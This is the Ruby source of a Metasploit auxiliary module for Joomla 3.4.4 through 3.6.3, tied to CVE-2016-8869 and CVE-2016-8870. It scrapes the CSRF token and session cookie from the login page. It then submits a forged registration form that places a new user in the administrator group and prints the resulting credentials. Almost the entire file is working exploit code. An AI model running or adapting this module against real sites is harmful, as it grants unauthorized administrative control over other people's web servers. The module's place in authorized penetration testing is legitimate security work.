Path: blob/master/modules/auxiliary/admin/http/joomla_registration_privesc.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HTTP::Joomla78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Joomla Account Creation and Privilege Escalation',13'Description' => %q{14This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.415through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).16},17'References' => [18['CVE', '2016-8869'],19['CVE', '2016-8870'],20['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'],21['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'],22['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2']23],24'Author' => [25'Fabio Pires <fp[at]integrity.pt>', # module creation and privilege escalation26'Filipe Reis <fr[at]integrity.pt>', # module creation and privilege escalation27'Vitor Oliveira <vo[at]integrity.pt>', # module creation and privilege escalation28],29'License' => MSF_LICENSE,30'DisclosureDate' => '2016-10-25',31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],34'Reliability' => []35}36)37)3839register_options(40[41OptString.new('TARGETURI', [true, 'The relative URI of the Joomla instance', '/']),42OptString.new('USERNAME', [true, 'Username that will be created', 'expl0it3r']),43OptString.new('PASSWORD', [true, 'Password for the username', 'expl0it3r']),44OptString.new('EMAIL', [true, 'Email to receive the activation code for the account', '[email protected]'])45]46)47end4849def check50res = send_request_cgi('uri' => target_uri.path)5152unless res53vprint_error('Unable to connect to target')54return Exploit::CheckCode::Unknown55end5657unless joomla_and_online?58vprint_error('Unable to detect Joomla')59return Exploit::CheckCode::Safe60end6162version = Rex::Version.new(joomla_version)6364unless version65vprint_error('Unable to detect Joomla version')66return Exploit::CheckCode::Detected67end6869vprint_status("Detected Joomla version #{version}")7071if version.between?(Rex::Version.new('3.4.4'), Rex::Version.new('3.6.3'))72return Exploit::CheckCode::Appears73end7475Exploit::CheckCode::Safe76end7778def get_csrf(hidden_fields)79hidden_list = hidden_fields80hidden_list.each do |fields|81fields.each do |item|82if item[0].length == 32 && item[1] == '1'83return item[0]84end85end86end87end8889def run90if check == Exploit::CheckCode::Safe91print_error('Target seems safe, so we will not continue!')92return93end9495print_status('Trying to create the user!')96res = send_request_cgi(97'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),98'vars_get' => {99'view' => 'login'100}101)102103if res && res.code == 200104cookie = res.get_cookies105csrf = get_csrf(res.get_hidden_inputs)106107if csrf.length != 32 && cookie.split(/=/).length != 2108print_error('Could not find csrf or cookie!')109return110end111else112print_error('Could not find Login Page!')113return114end115116mime = Rex::MIME::Message.new117mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')118mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"')119mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"')120mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"')121mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password2]"')122mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"')123mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"')124mime.add_part('com_users', nil, nil, 'form-data; name="option"')125mime.add_part('user.register', nil, nil, 'form-data; name="task"')126mime.add_part('1', nil, nil, 'form-data; name="' + csrf + '"')127128res = send_request_cgi(129'method' => 'POST',130'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'),131'cookie' => cookie,132'ctype' => "multipart/form-data; boundary=#{mime.bound}",133'data' => mime.to_s134)135136if res && res.code == 200137print_good('PWND - Your user has been created')138print_status("\tUsername: " + datastore['USERNAME'])139print_status("\tPassword: " + datastore['PASSWORD'])140print_status("\tEmail: " + datastore['EMAIL'])141elsif res.redirect?142res = send_request_cgi!(143'uri' => res.redirection.path,144'method' => 'GET',145'cookie' => cookie146)147148print_error('There was an issue, but the user could have been created.')149150parsed_data = res.get_html_document151parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|152print_error("\t" + alert_msg.text)153end154else155print_error('This host may not be vulnerable.')156end157end158end159160161